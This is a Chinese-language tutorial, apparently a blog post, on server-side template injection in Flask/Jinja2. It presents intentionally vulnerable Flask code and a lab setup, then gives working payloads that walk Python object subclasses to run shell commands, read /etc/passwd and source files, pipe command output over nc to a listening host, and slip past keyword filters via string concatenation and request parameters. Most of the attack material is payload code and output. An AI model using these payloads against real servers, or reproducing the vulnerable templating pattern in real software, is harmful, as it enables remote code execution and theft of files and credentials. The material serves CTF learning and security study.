SSTI(伺服器模板注入)學習
SSTI(伺服器模板注入)學習
0x01 SSTI概念
SSTI看到ss兩個字母就會想到伺服器,常見的還有SSRF(伺服器端請求偽造)。SSTI就是伺服器端模板注入(Server-Side Template Injection)
說到注入,我們常見的注入有sql注入,sql注入我們都很熟悉,但SSTI和sql注入一樣都是先從用戶獲得一個輸入將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而可能導致了敏感資訊泄露、程式碼執行、GetShell 等問題。其影響範圍主要取決於模版引擎的複雜性。
0x02 SSTI原理
來看一個簡單的例子
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
這是一個典型的SSTI漏洞例子,成因是render_template_string函數在渲染模板的時候使用了%s來動態的替換字元串,我們知道Flask 中使用了Jinja2 作為模板渲染引擎,{{}}在Jinja2中作為變數包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變數解析替換。比如{{1+1}}會被解析成2。
各框架模板結構:
更詳細的伺服器模板原理網上有很多,參考
SSTI模板注入
0x03 搭建Flask(Jinja2) 服務端模板注入漏洞環境
ctf中比較常見的還是python站的SSTI,下面用vulhub上的一個環境來複現Flask的SSTI漏洞
搭建好後直接訪問
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)
if __name__ == "__main__":
app.run(debug=True)
測試注入
傳參/login?name={{7*7}}
看有什麼回顯
可以看到把括弧裡面的7*7進行了計算,說明存在SSTI漏洞
那該怎麼擴大漏洞利用範圍呢,這就要講到一些python知識(這個漏洞不止在python上,各種語言的模板都可以有,只是大多是python),這裡先給一個漏洞利用方法
執行任意命令payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //poppen的參數就是要執行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
內建函數
當我們啟動一個python解釋器時,及時沒有創建任何變數或者函數,還是會有很多函數可以使用,我們稱之為內建函數。
內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字
我們主要關注的是內建名稱空間,是名字到內建對象的映射,在python中,初始的builtins模組提供內建名稱空間到內建對象的映射
dir()函數用於向我們展示一個對象的屬性有哪些,在沒有提供對象的時候,將會提供當前環境所導入的所有模組,我們可以看到初始模組有哪些
這裡面,我們可以看到__builtins__是做為默認初始模組出現的,那麼用dir()命令看看__builtins__的成分
這裡我們可以看到很多熟悉的模組都是初始自帶的,比如:import、str、len等,因此python可以直接使用某些初始函數,比如直接使用len()函數
到這裡可能會有點感覺,就是只要我們能找到一個預裝模組或者類的內置方法,那麼就可以直接使用這個方法搞事。
這裡就得再說一下python的類
在python中
instance.class 可以獲取當前實例的類對象,例如
''.__class__
這裡返回的就是空字元串的類也就是,<type 'str'>
**class.mro **獲取當前類對象的所有繼承類’只是這時會顯示出整個繼承鏈的關係,是一個列表,object在最底層故在列表中的最後,通過__mro__[-1]可以獲取到
這裡在python2中還會多一個basestring類
base 對象的一個基類,一般情況下是object,有時不是,這時需要使用下一個方法
subclasses() 繼承此對象的子類,返回一個列表
我們知道python中的類都是繼承object的,所以只要調用object類對象的__subclasses__()方法就可以獲取我們想要的類的對象,比如用於讀取文件的file對象
更多函數模組參考:
沙盒逃逸常見函數
" ".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]
由於繼承object的子類有很多,查閱起來不方便,可以列舉一下
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
.........
可以發現在第四十號指向file類,所以就可以從file類中調用open方法
''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()
這裡成功利用file對象的匿名實例化,並為其傳參要讀取的文件名,通過調用其讀文件函數read就可以對文件進行讀取了。
0x04 漏洞利用
在明白了基本原理後,來複現試一下,讀取密碼
''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
命令執行
python環境下常用的命令執行方式。
os.system()
用法:os.system(command)
但是用這個無法回顯
我們可以用這個
os.popen()
用法:os.popen(command[,mode[,bufsize]])
說明:mode – 模式許可權可以是 『r』(默認) 或 『w』。
popen方法通過p.read()獲取終端輸出,而且popen需要關閉close().當執行成功時,close()不返回任何值,失敗時,close()返回系統返回值(失敗返回1). 可見它獲取返回值的方式和os.system不同。
還需要了解一個魔法函數
globals該屬性是函數特有的屬性,記錄當前文件全局變數的值,如果某個文件調用了os、sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用globals屬性訪問全局的變數。該屬性保存的是函數全局變數的字典引用。
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )
如果os被過濾了可以用
subprocess
1.subprocess.check_call()
Python 2.5中新增的函數。 執行指定的命令,如果執行成功則返回狀態碼,否則拋出異常。其功能等價於subprocess.run(…, check=True)。
2.subprocess.check_output()
Python 2.7中新增的的函數。執行指定的命令,如果執行狀態碼為0則返回命令執行結果,否則拋出異常。
3.subprocess.Popen(「command」)
說明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
Popen非常強大,支援多種參數和模式,通過其構造函數可以看到支援很多參數。但Popen函數存在缺陷在於,它是一個阻塞的方法,如果運行cmd命令時產生內容非常多,函數就容易阻塞。另一點,Popen方法也不會列印出cmd的執行資訊。
__init__方法
__init__方法用於將對象實例化,在這個函數下我們可以通過funcglobals(或者__globals
)看該模組下有哪些globals函數(注意返回的是字典),而linecache可用於讀取任意一個文件的某一行,而這個函數引用了os模組。
組合payload:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6
無回顯處理
當我們用os命令執行沒回顯時,可以用nc把回顯發到vps上
vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')
#vps接收到回顯
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py
反彈shell也是一樣,有了命令執行,反彈shell應該是很方便了。
0x05 Bypass
在實戰或者ctf里出現的SSTI大多不能直接利用,一般會過濾一些關鍵字,這就需要我們掌握更多姿勢,下面介紹一些常見的
1.拼接
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
2.過濾””[]
藉助request對象:(這種方法在沙盒種不行,在web下才行,因為需要傳參)
request變數可以訪問所有已發送的參數,因此我們可以request.args.param用來檢索新的paramGET參數的值,將其中的request.args改為request.values則利用post的方式進行傳參
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
3.過濾雙下劃線__
還是request方法
{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__
4.過濾一些函數名如__import__,
python的初始模組_builtin__里有很多危險的方法,一條路沒了就找找其他的路
我們可以直接用 eval() exec() execfile()等
__builtins__.eval()
globals
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
0x06 參考
//p0sec.net/index.php/archives/120/
//www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
//www.anquanke.com/post/id/188172#h3-15
//0day.work/jinja2-template-injection-filter-bypasses/
//blog.csdn.net/zz_Caleb/article/details/96480967